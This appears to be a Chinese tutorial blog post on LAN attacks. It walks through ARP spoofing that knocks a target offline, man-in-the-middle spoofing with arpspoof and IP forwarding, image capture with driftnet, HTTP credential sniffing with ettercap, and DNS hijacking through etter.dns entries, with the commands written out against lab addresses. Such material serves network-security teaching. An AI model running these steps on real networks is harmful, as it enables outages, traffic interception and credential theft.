局域网Arp与DNS劫持

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 一、局域网通信相关概念
    • [1.1 ARP概述:](#1.1 ARP概述:)
    • [1.2 MAC地址:](#1.2 MAC地址:)
    • [1.3 OSI七层模型的数据传输](#1.3 OSI七层模型的数据传输)
  • 二、断网攻击(单向欺骗)
    • [2.1 准备环境](#2.1 准备环境)
    • [2.2 打开科来](#2.2 打开科来)
    • [2.3 打开工具mac地址扫描器](#2.3 打开工具mac地址扫描器)
    • [2.4 得到目标主机的MAC地址](#2.4 得到目标主机的MAC地址)
    • [2.5 添加ARP数据包](#2.5 添加ARP数据包)
    • [2.6 输入目的mac地址和目的ip地址](#2.6 输入目的mac地址和目的ip地址)
    • [2.7 发送](#2.7 发送)
    • [2.8 开始](#2.8 开始)
    • [2.9 对比](#2.9 对比)
  • 三、局域网内ARP攻击(双向欺骗)
    • [3.1 开启kali,安装arpspoof](#3.1 开启kali,安装arpspoof)
    • [3.2 查看kali mac地址](#3.2 查看kali mac地址)
    • [3.3 使用arpspoof进行双向欺骗攻击](#3.3 使用arpspoof进行双向欺骗攻击)
    • [3.4 开启端口转发功能,并再次实施ARP欺骗攻击](#3.4 开启端口转发功能,并再次实施ARP欺骗攻击)
    • [3.5 arp 欺骗------抓取图片](#3.5 arp 欺骗——抓取图片)
    • [3.6 arp 欺骗------获取http登录账号密码](#3.6 arp 欺骗——获取http登录账号密码)
  • 四、DNS劫持
    • [4.1 首先修改一下DNS配置文件](#4.1 首先修改一下DNS配置文件)
    • [4.2 打开kali机器的ettercap工具](#4.2 打开kali机器的ettercap工具)
    • [4.3 扫描当前局域网的主机列表](#4.3 扫描当前局域网的主机列表)
    • [4.4 将网关和目标主机分别添加到Target1和Target2中](#4.4 将网关和目标主机分别添加到Target1和Target2中)
    • [4.5 归类好之后,开启插件](#4.5 归类好之后,开启插件)
    • [4.6 选择DNS欺骗插件,点击开始按钮](#4.6 选择DNS欺骗插件,点击开始按钮)
    • [4.7 靶机访问发现被劫持](#4.7 靶机访问发现被劫持)

一、局域网通信相关概念

1.1 ARP概述:

ARP(Address Resolution Protocol)即地址解析协议,用于实现从 IP 地址到 MAC 地址的映射,即询问目标IP对应的MAC地址。在网络通信中,主机和主机通信的数据包需要依据OSI模型从上到下进行数据封装,当数据封装完整后,再向外发出。所以在局域网的通信中,不仅需要源目IP地址的封装,也需要源目MAC的封装

1.2 MAC地址:

MAC地址(Media Access Control Address)是一种标识网络设备的唯一地址,也被称为物理地址或硬件地址。它由网络设备制造商在生产过程中写入网卡。例如:00-16-EA-AE-3C-40就是一个MAC地址。其中前3个字节的十六进制数00-16-EA代表网络硬件制造商的编号,由IEEE(电气与电子工程师协会)分配。而后3个字节的十六进制数AE-3C-40代表该制造商生产的某个网络产品(如网卡)的系列号。只要不更改自己的MAC地址,MAC地址在全球范围内是唯一的。

1.3 OSI七层模型的数据传输

OSI七层模型的数据传输详解:

1、应用层数据封装,将封装好的数据传输到传输层;

2、传输层将应用层传递下来的数据包添加上相应的TCP头部信息(源端口、目的端口)后传递给网络层;

3、网络层收到传输层传递的数据包后添加上相应的IP信息(源IP、目的IP)后将数据包传递给数据链路层;

4、数据链路层收到数据包后添加上相应的Ethernet头部信息(源MAC地址、目的MAC地址)和FCS帧尾后将数据帧传递给物理层;

5、物理层收到数据包之后根据物理介质的不同,负责将数字信号转换成电信号、光信号、电磁波信号等;

6、转换完成的信号在物理介质(网线,光纤,空气)中开始传递。

局域网内两台主机在互相通信的过程中,会互相交换自己的IP地址和MAC地址,然后存储到本地的ARP缓存表中方便后续通信。

复制代码
arp -a


二、断网攻击(单向欺骗)

2.1 准备环境

首先准备环境:同一网段下能够正常上网的主机

2.2 打开科来

打开科来网络分析系统,"实时分析"模块选择对应的局域网

2.3 打开工具mac地址扫描器

打开"工具"界面的MAC地址扫描器,得到目标主机的MAC地址

2.4 得到目标主机的MAC地址

复制代码
 00:0C:29:70:60:E0   

2.5 添加ARP数据包

点击"数据包生成器",添加ARP数据包

2.6 输入目的mac地址和目的ip地址

在目的MAC地址和目的IP中输入我们的目标主机的IP和MAC地址,源MAC地址任意输即可,源IP输入网关的IP地址

输入前:
输入后:

源MAC地址:随意填

目标MAC地址:想要攻击谁填谁的MAC地址

源IP地址:网关IP地址

目标IP地址:想要攻击谁填谁的IP地址

2.7 发送

点击发送,勾选"突发模式"和"循环发送"(循环次数改为0);点击"选择"选择对应的网卡

2.8 开始

点击"开始",即可发起攻击

目标主机即刻断网!点击"停止",目标主机恢复网络。

2.9 对比

有网状态

无网状态

单向欺骗做到让被骗的人没有网

三、局域网内ARP攻击(双向欺骗)

3.1 开启kali,安装arpspoof

复制代码
apt install dsniff

3.2 查看kali mac地址

看一下攻击机kali的MAC地

复制代码
ip a

00:0c:29:c8:10:6c |

3.3 使用arpspoof进行双向欺骗攻击

复制代码
arpspoof -i eth0 -t 10.0.0.4 -r 10.0.0.2
# arpspoof 10.0.0.4 10.0.0.2

假设目标主机是10.0.0.4,网关是10.0.0.2)

-t 10.0.0.4指定目标主机,-r 10.0.0.2指定网关; arpspoof会同时向 ** 目标主机(10.0.0.4)发送 "我是网关(10.0.0.2)" 的 ARP 欺骗包,也向网关(10.0.0.2)** 发送 "我是目标主机(10.0.0.4)" 的 ARP 欺骗包。 相当于这一条命令已经同时完成了 "欺骗目标" 和 "欺骗网关" 的双向操作

查看win10系统ARP 缓存表网关的MAC地址是kali的

停止攻击之后

3.4 开启端口转发功能,并再次实施ARP欺骗攻击

首先开启arp欺骗

复制代码
arpspoof -i eth0 -t 10.0.0.4 -r 10.0.0.2
复制代码
echo 1 > /proc/sys/net/ipv4/ip_forward
# ip 1 0
cat /proc/sys/net/ipv4/ip_forward
# 1 0
复制代码
Kali 默认iptables可能阻止了转发流量,需允许 IP 转发:
# 查看当前FORWARD链策略
iptables -L -n | grep FORWARD

# 若策略为DROP,设置为ACCEPT
iptables -P FORWARD ACCEPT

此时win10可以访问外网

此时靶机可以访问外网,但是靶机的ARP缓存表中的网关MAC地址已

经变成了攻击机kali的MAC地址

3.5 arp 欺骗------抓取图片

开启端口转发并开启arp 欺骗之后

复制代码
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.4 -r 10.0.0.2

开启新的 shell 执行命令,该命令会自动打开一个 shell 窗口并获取目的主机所浏览的图片。

复制代码
driftnet -i
driftnet -i eth0
driftnet -i eth0 -a -d /root/niko
#
-b
-i interface
-f file pcap
-p
-a
-m number
-d directory
-x prefix



重要限制:Driftnet无法处理加密流量(如 HTTPS),只能捕获未加密的 HTTP 传输内容

3.6 arp 欺骗------获取http登录账号密码

利用 ettercap 来抓取账号密码。在终端输入

复制代码
ettercap -Tq -i eth0

# 格式:ettercap -Tq -i 网卡 -M arp:remote /目标主机IP// /网关IP//
ettercap -Tq -i eth0 -M arp:remote /10.0.0.4// /10.0.0.2//

这个的使用也仅仅局限在http请求的网站

ARP攻击的其他相关运用:https://www.jianshu.com/p/de44827f839e

四、DNS劫持

4.1 首先修改一下DNS配置文件

复制代码
vim /etc/ettercap/etter.dns

加上

复制代码
*.baidu.com A 10.0.0.26
www.*.com A 10.0.0.26
*.*.com A 10.0.0.26
www.test.com A 10.0.0.26

劫持百度成功不了,用www.test.com代替一下

4.2 打开kali机器的ettercap工具

复制代码
ettercap -G

4.3 扫描当前局域网的主机列表

第一个是开始扫描,第二个是查看结果

4.4 将网关和目标主机分别添加到Target1和Target2中

4.5 归类好之后,开启插件


4.6 选择DNS欺骗插件,点击开始按钮

先双击dns_spoof

4.7 靶机访问发现被劫持

ping发现是来自10.0.0.26

但是靶机访问www.baidu.com还是会跳转到baidu,试一下www.test.com成功了

相关推荐
天荒地老笑话么7 小时前
静态 IP 规划:掩码/网关/DNS 的正确组合
网络·网络协议·tcp/ip·网络安全
大方子1 天前
【PolarCTF】rce1
网络安全·polarctf
袁煦丞 cpolar内网穿透实验室1 天前
精准模拟各种弱网场景!树莓派+ATC打造便携弱网网关。cpolar 内网穿透实验室第781个成功挑战
远程工作·树莓派·内网穿透·cpolar·弱网网关
枷锁—sha1 天前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
袁煦丞 cpolar内网穿透实验室1 天前
远程调试内网 Kafka 不再求运维!cpolar 内网穿透实验室第 791 个成功挑战
运维·分布式·kafka·远程工作·内网穿透·cpolar
聚铭网络1 天前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd1 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
tzy2331 天前
内网穿透技术 -- NAT ngrok 花生壳
内网穿透·nat·ngrok·花生壳
世界尽头与你1 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha2 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全